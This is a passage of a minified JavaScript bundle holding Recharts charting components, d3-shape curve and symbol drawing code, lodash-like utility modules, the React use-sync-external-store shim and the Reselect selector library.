i=e.length;for(t=0;t{var{children:n,width:r,height:i,viewBox:s,className:o,style:l,title:c,desc:u}=e,d=P_(e,C_),f=s||{width:r,height:i,x:0,y:0},p=Qe("recharts-surface",o);return m.createElement("svg",Lp({},Ut(d),{className:p,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),m.createElement("title",null,c),m.createElement("desc",null,u),n)}),__=["children","className"];function Ip(){return Ip=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=A_(e,__),s=Qe("recharts-layer",r);return m.createElement("g",Ip({className:s},Ut(i),{ref:t}),n)}),T_=m.createContext(null);function $e(e){return function(){return e}}const Wj=Math.cos,tu=Math.sin,Qn=Math.sqrt,nu=Math.PI,yd=2*nu,Dp=Math.PI,Rp=2*Dp,Fi=1e-6,M_=Rp-Fi;function Uj(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return Uj;const n=10**t;return function(r){this._+=r[0];for(let i=1,s=r.length;iFi)if(!(Math.abs(f*c-u*d)>Fi)||!s)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(p),w=s*Math.tan((Dp-Math.acos((g+p-y)/(2*v*b)))/2),j=w/b,N=w/v;Math.abs(j-1)>Fi&&this._append`L${t+j*d},${n+j*f}`,this._append`A${s},${s},0,0,${+(f*h>d*x)},${this._x1=t+N*c},${this._y1=n+N*u}`}}arc(t,n,r,i,s,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,p=o?i-s:s-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>Fi||Math.abs(this._y1-d)>Fi)&&this._append`L${u},${d}`,r&&(p<0&&(p=p%Rp+Rp),p>M_?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:p>Fi&&this._append`A${r},${r},0,${+(p>=Dp)},${f},${this._x1=t+r*Math.cos(s)},${this._y1=n+r*Math.sin(s)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function Ox(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new I_(t)}function Tx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function Vj(e){this._context=e}Vj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function bd(e){return new Vj(e)}function Hj(e){return e[0]}function Kj(e){return e[1]}function Gj(e,t){var n=$e(!0),r=null,i=bd,s=null,o=Ox(l);e=typeof e=="function"?e:e===void 0?Hj:$e(e),t=typeof t=="function"?t:t===void 0?Kj:$e(t);function l(c){var u,d=(c=Tx(c)).length,f,p=!1,h;for(r==null&&(s=i(h=o())),u=0;u<=d;++u)!(u=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[p]=+e(y,p,f),j[p]=+t(y,p,f),l.point(r?+r(y,p,f):w[p],n?+n(y,p,f):j[p]))}if(b)return l=null,b+""||null}function d(){return Gj().defined(i).curve(o).context(s)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:$e(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:$e(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:$e(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:$e(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:$e(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:$e(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:$e(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,s!=null&&(l=o(s)),u):o},u.context=function(f){return arguments.length?(f==null?s=l=null:l=o(s=f),u):s},u}class Yj{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function D_(e){return new Yj(e,!0)}function R_(e){return new Yj(e,!1)}const Mx={draw(e,t){const n=Qn(t/nu);e.moveTo(n,0),e.arc(0,0,n,0,yd)}},$_={draw(e,t){const n=Qn(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},qj=Qn(1/3),B_=qj*2,F_={draw(e,t){const n=Qn(t/B_),r=n*qj;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},W_={draw(e,t){const n=Qn(t),r=-n/2;e.rect(r,r,n,n)}},U_=.8908130915292852,Xj=tu(nu/10)/tu(7*nu/10),V_=tu(yd/10)*Xj,H_=-Wj(yd/10)*Xj,K_={draw(e,t){const n=Qn(t*U_),r=V_*n,i=H_*n;e.moveTo(0,-n),e.lineTo(r,i);for(let s=1;s<5;++s){const o=yd*s/5,l=Wj(o),c=tu(o);e.lineTo(c*n,-l*n),e.lineTo(l*r-c*i,c*r+l*i)}e.closePath()}},sm=Qn(3),G_={draw(e,t){const n=-Qn(t/(sm*3));e.moveTo(0,n*2),e.lineTo(-sm*n,-n),e.lineTo(sm*n,-n),e.closePath()}},bn=-.5,wn=Qn(3)/2,$p=1/Qn(12),Y_=($p/2+1)*3,q_={draw(e,t){const n=Qn(t/Y_),r=n/2,i=n*$p,s=r,o=n*$p+n,l=-s,c=o;e.moveTo(r,i),e.lineTo(s,o),e.lineTo(l,c),e.lineTo(bn*r-wn*i,wn*r+bn*i),e.lineTo(bn*s-wn*o,wn*s+bn*o),e.lineTo(bn*l-wn*c,wn*l+bn*c),e.lineTo(bn*r+wn*i,bn*i-wn*r),e.lineTo(bn*s+wn*o,bn*o-wn*s),e.lineTo(bn*l+wn*c,bn*c-wn*l),e.closePath()}};function X_(e,t){let n=null,r=Ox(i);e=typeof e=="function"?e:$e(e||Mx),t=typeof t=="function"?t:$e(t===void 0?64:+t);function i(){let s;if(n||(n=s=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),s)return n=null,s+""||null}return i.type=function(s){return arguments.length?(e=typeof s=="function"?s:$e(s),i):e},i.size=function(s){return arguments.length?(t=typeof s=="function"?s:$e(+s),i):t},i.context=function(s){return arguments.length?(n=s??null,i):n},i}function ru(){}function iu(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function Zj(e){this._context=e}Zj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:iu(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:iu(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Z_(e){return new Zj(e)}function Qj(e){this._context=e}Qj.prototype={areaStart:ru,areaEnd:ru,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:iu(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Q_(e){return new Qj(e)}function Jj(e){this._context=e}Jj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:iu(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function J_(e){return new Jj(e)}function eN(e){this._context=e}eN.prototype={areaStart:ru,areaEnd:ru,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function eA(e){return new eN(e)}function ly(e){return e<0?-1:1}function cy(e,t,n){var r=e._x1-e._x0,i=t-e._x1,s=(e._y1-e._y0)/(r||i<0&&-0),o=(n-e._y1)/(i||r<0&&-0),l=(s*i+o*r)/(r+i);return(ly(s)+ly(o))*Math.min(Math.abs(s),Math.abs(o),.5*Math.abs(l))||0}function uy(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function om(e,t,n){var r=e._x0,i=e._y0,s=e._x1,o=e._y1,l=(s-r)/3;e._context.bezierCurveTo(r+l,i+l*t,s-l,o-l*n,s,o)}function au(e){this._context=e}au.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:om(this,this._t0,uy(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,om(this,uy(this,n=cy(this,e,t)),n);break;default:om(this,this._t0,n=cy(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function tN(e){this._context=new nN(e)}(tN.prototype=Object.create(au.prototype)).point=function(e,t){au.prototype.point.call(this,t,e)};function nN(e){this._context=e}nN.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,s){this._context.bezierCurveTo(t,e,r,n,s,i)}};function tA(e){return new au(e)}function nA(e){return new tN(e)}function rN(e){this._context=e}rN.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=dy(e),i=dy(t),s=0,o=1;o=0;--t)i[t]=(o[t]-i[t+1])/s[t];for(s[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function iA(e){return new wd(e,.5)}function aA(e){return new wd(e,0)}function sA(e){return new wd(e,1)}function ua(e,t){if((o=e.length)>1)for(var n=1,r,i,s=e[t[0]],o,l=s.length;n=0;)n[t]=t;return n}function oA(e,t){return e[t]}function lA(e){const t=[];return t.key=e,t}function cA(){var e=$e([]),t=Bp,n=ua,r=oA;function i(s){var o=Array.from(e.apply(this,arguments),lA),l,c=o.length,u=-1,d;for(const f of s)for(l=0,++u;l0){for(var n,r,i=0,s=e[0].length,o;i0){for(var n=0,r=e[t[0]],i,s=r.length;n0)||!((s=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,s,o;r1&&arguments[1]!==void 0?arguments[1]:pA,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function tt(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var l=n[o-1];return typeof l=="string"?i+l+s:l!==void 0?i+ui(l)+s:i+s},"")}var qt=e=>e===0?0:e>0?1:-1,mr=e=>typeof e=="number"&&e!=+e,da=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,ge=e=>(typeof e=="number"||e instanceof Number)&&!mr(e),Lr=e=>ge(e)||typeof e=="string",hA=0,$o=e=>{var t=++hA;return"".concat(e||"").concat(t)},fn=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!ge(t)&&typeof t!="string")return r;var s;if(da(t)){if(n==null)return r;var o=t.indexOf("%");s=n*parseFloat(t.slice(0,o))/100}else s=+t;return mr(s)&&(s=r),i&&n!=null&&s>n&&(s=n),s},sN=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):Ro(r,t))===n)}var Mt=e=>e===null||typeof e>"u",sl=e=>Mt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function or(e){return e!=null}function bs(){}var xA=["type","size","sizeType"];function Fp(){return Fp=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(sl(e));return lN[t]||Mx},kA=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*jA;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},zA=(e,t)=>{lN["symbol".concat(sl(e))]=t},cN=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=bA(e,xA),s=my(my({},i),{},{type:t,size:n,sizeType:r}),o="circle";typeof t=="string"&&(o=t);var l=()=>{var p=NA(o),h=X_().type(p).size(kA(n,r,o)),x=h();if(x!==null)return x},{className:c,cx:u,cy:d}=s,f=Ut(s);return ge(u)&&ge(d)&&ge(n)?m.createElement("path",Fp({},f,{className:Qe("recharts-symbols",c),transform:"translate(".concat(u,", ").concat(d,")"),d:l()})):null};cN.registerSymbol=zA;var uN=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,Ix=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(m.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{Ax(i)&&(r[i]=s=>n[i](n,s))}),r},SA=(e,t,n)=>r=>(e(t,n,r),null),CA=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var s=e[i];Ax(i)&&typeof s=="function"&&(r||(r={}),r[i]=SA(s,t,n))}),r};function py(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function PA(e){for(var t=1;t(o[l]===void 0&&r[l]!==void 0&&(o[l]=r[l]),o),n);return s}var dN={},fN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let s=0;s=0}e.isLength=t})(hN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=hN;function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(zd);var xN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(xN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=zd,n=xN;function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})(pN);var vN={},gN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=jd;function n(r){return function(i){return t.get(i,r)}}e.property=n})(gN);var yN={},Rx={},bN={},$x={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})($x);var Bx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})(Bx);var Fx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.isEqualsSameValueZero=t})(Fx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=$x,n=Bx,r=Fx;function i(d,f,p){return typeof p!="function"?i(d,f,()=>{}):s(d,f,function h(x,g,y,v,b,w){const j=p(x,g,y,v,b,w);return j!==void 0?!!j:s(x,g,h,w)},new Map)}function s(d,f,p,h){if(f===d)return!0;switch(typeof f){case"object":return o(d,f,p,h);case"function":return Object.keys(f).length>0?s(d,{...f},p,h):r.isEqualsSameValueZero(d,f);default:return t.isObject(d)?typeof f=="string"?f==="":!0:r.isEqualsSameValueZero(d,f)}}function o(d,f,p,h){if(f==null)return!0;if(Array.isArray(f))return c(d,f,p,h);if(f instanceof Map)return l(d,f,p,h);if(f instanceof Set)return u(d,f,p,h);const x=Object.keys(f);if(d==null||n.isPrimitive(d))return x.length===0;if(x.length===0)return!0;if(h!=null&&h.has(f))return h.get(f)===d;h==null||h.set(f,d);try{for(let g=0;g{})}e.isMatch=n})(Rx);var wN={},Wx={},jN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(jN);var Sd={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(Sd);var Ux={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",s="[object Arguments]",o="[object Symbol]",l="[object Date]",c="[object Map]",u="[object Set]",d="[object Array]",f="[object Function]",p="[object ArrayBuffer]",h="[object Object]",x="[object Error]",g="[object DataView]",y="[object Uint8Array]",v="[object Uint8ClampedArray]",b="[object Uint16Array]",w="[object Uint32Array]",j="[object BigUint64Array]",N="[object Int8Array]",k="[object Int16Array]",z="[object Int32Array]",S="[object BigInt64Array]",O="[object Float32Array]",A="[object Float64Array]";e.argumentsTag=s,e.arrayBufferTag=p,e.arrayTag=d,e.bigInt64ArrayTag=S,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=g,e.dateTag=l,e.errorTag=x,e.float32ArrayTag=O,e.float64ArrayTag=A,e.functionTag=f,e.int16ArrayTag=k,e.int32ArrayTag=z,e.int8ArrayTag=N,e.mapTag=c,e.numberTag=r,e.objectTag=h,e.regexpTag=t,e.setTag=u,e.stringTag=n,e.symbolTag=o,e.uint16ArrayTag=b,e.uint32ArrayTag=w,e.uint8ArrayTag=y,e.uint8ClampedArrayTag=v})(Ux);var NN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(NN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=jN,n=Sd,r=Ux,i=Bx,s=NN;function o(d,f){return l(d,void 0,d,new Map,f)}function l(d,f,p,h=new Map,x=void 0){const g=x==null?void 0:x(d,f,p,h);if(g!==void 0)return g;if(i.isPrimitive(d))return d;if(h.has(d))return h.get(d);if(Array.isArray(d)){const y=new Array(d.length);h.set(d,y);for(let v=0;vt.isMatch(s,i)}e.matches=r})(yN);var kN={},zN={},SN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Wx,n=Sd,r=Ux;function i(s,o){return t.cloneDeepWith(s,(l,c,u,d)=>{const f=o==null?void 0:o(l,c,u,d);if(f!==void 0)return f;if(typeof s=="object"){if(n.getTag(s)===r.objectTag&&typeof s.constructor!="function"){const p={};return d.set(s,p),t.copyProperties(p,s,u,d),p}switch(Object.prototype.toString.call(s)){case r.numberTag:case r.stringTag:case r.booleanTag:{const p=new s.constructor(s==null?void 0:s.valueOf());return t.copyProperties(p,s),p}case r.argumentsTag:{const p={};return t.copyProperties(p,s),p.length=s.length,p[Symbol.iterator]=s[Symbol.iterator],p}default:return}}})}e.cloneDeepWith=i})(SN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=SN;function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(zN);var CN={},Vx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&r"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?FA:BA;ON.useSyncExternalStore=ls.useSyncExternalStore!==void 0?ls.useSyncExternalStore:WA;AN.exports=ON;var UA=AN.exports;/** + * @license React + * use-sync-external-store-shim/with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Cd=m,VA=UA;function HA(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var KA=typeof Object.is=="function"?Object.is:HA,GA=VA.useSyncExternalStore,YA=Cd.useRef,qA=Cd.useEffect,XA=Cd.useMemo,ZA=Cd.useDebugValue;_N.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=YA(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=XA(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,KA(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=GA(e,s[0],s[1]);return qA(function(){o.hasValue=!0,o.value=l},[l]),ZA(l),l};EN.exports=_N;var QA=EN.exports,Hx=m.createContext(null),JA=e=>e,ot=()=>{var e=m.useContext(Hx);return e?e.store.dispatch:JA},jc=()=>{},eO=()=>jc,tO=(e,t)=>e===t;function je(e){var t=m.useContext(Hx),n=m.useMemo(()=>t?r=>{if(r!=null)return e(r)}:jc,[t,e]);return QA.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:eO,t?t.store.getState:jc,t?t.store.getState:jc,n,tO)}function nO(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function rO(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function iO(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var xy=e=>Array.isArray(e)?e:[e];function aO(e){const t=Array.isArray(e[0])?e[0]:e;return iO(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function sO(e,t){const n=[],{length:r}=e;for(let i=0;i{n=Wl(),o.resetResultsCount()},o.resultsCount=()=>s,o.resetResultsCount=()=>{s=0},o}function uO(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let s=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),nO(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:p=[],argsMemoize:h=TN,argsMemoizeOptions:x=[]}=d,g=xy(p),y=xy(x),v=aO(i),b=f(function(){return s++,u.apply(null,arguments)},...g),w=h(function(){o++;const N=sO(v,arguments);return l=b.apply(null,N),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>s,resetRecomputations:()=>{s=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var I=uO(TN),dO=Object.assign((e,t=I)=>{rO(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(s=>e[s]);return t(r,(...s)=>s.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>dO}),MN={},LN={},IN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,s)=>{if(r!==i){const o=t(r),l=t(i);if(o===l&&o===0){if(ri)return s==="desc"?-1:1}return s==="desc"?l-o:o-l}return 0};e.compareValues=n})(IN);var DN={},Kx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(Kx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Kx,n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(s,o){return Array.isArray(s)?!1:typeof s=="number"||typeof s=="boolean"||s==null||t.isSymbol(s)?!0:typeof s=="string"&&(r.test(s)||!n.test(s))||o!=null&&Object.hasOwn(o,s)}e.isKey=i})(DN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=IN,n=DN,r=kd;function i(s,o,l,c){if(s==null)return[];l=c?void 0:l,Array.isArray(s)||(s=Object.values(s)),Array.isArray(o)||(o=o==null?[null]:[o]),o.length===0&&(o=[null]),Array.isArray(l)||(l=l==null?[]:[l]),l=l.map(h=>String(h));const u=(h,x)=>{let g=h;for(let y=0;yx==null||h==null?x:typeof h=="object"&&"key"in h?Object.hasOwn(x,h.key)?x[h.key]:u(x,h.path):typeof h=="function"?h(x):Array.isArray(h)?u(x,h):typeof x=="object"?x[h]:x,f=o.map(h=>(Array.isArray(h)&&h.length===1&&(h=h[0]),h==null||typeof h=="function"||Array.isArray(h)||n.isKey(h)?h:{key:h,path:r.toPath(h)}));return s.map(h=>({original:h,criteria:f.map(x=>d(x,h))})).slice().sort((h,x)=>{for(let g=0;gh.original)}e.orderBy=i})(LN);var RN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],s=Math.floor(r),o=(l,c)=>{for(let u=0;u1&&r.isIterateeCall(s,o[0],o[1])?o=[]:l>2&&r.isIterateeCall(o[0],o[1],o[2])&&(o=[o[0]]),t.orderBy(s,n.flatten(o),["asc"])}e.sortBy=i})(MN);var fO=MN.sortBy;const Pd=Wr(fO);var $N=e=>e.legend.settings,mO=e=>e.legend.size,pO=e=>e.legend.payload;I([pO,$N],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?Pd(r,n):r});var Ul=1;function hO(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=m.useState({height:0,left:0,top:0,width:0}),r=m.useCallback(i=>{if(i!=null){var 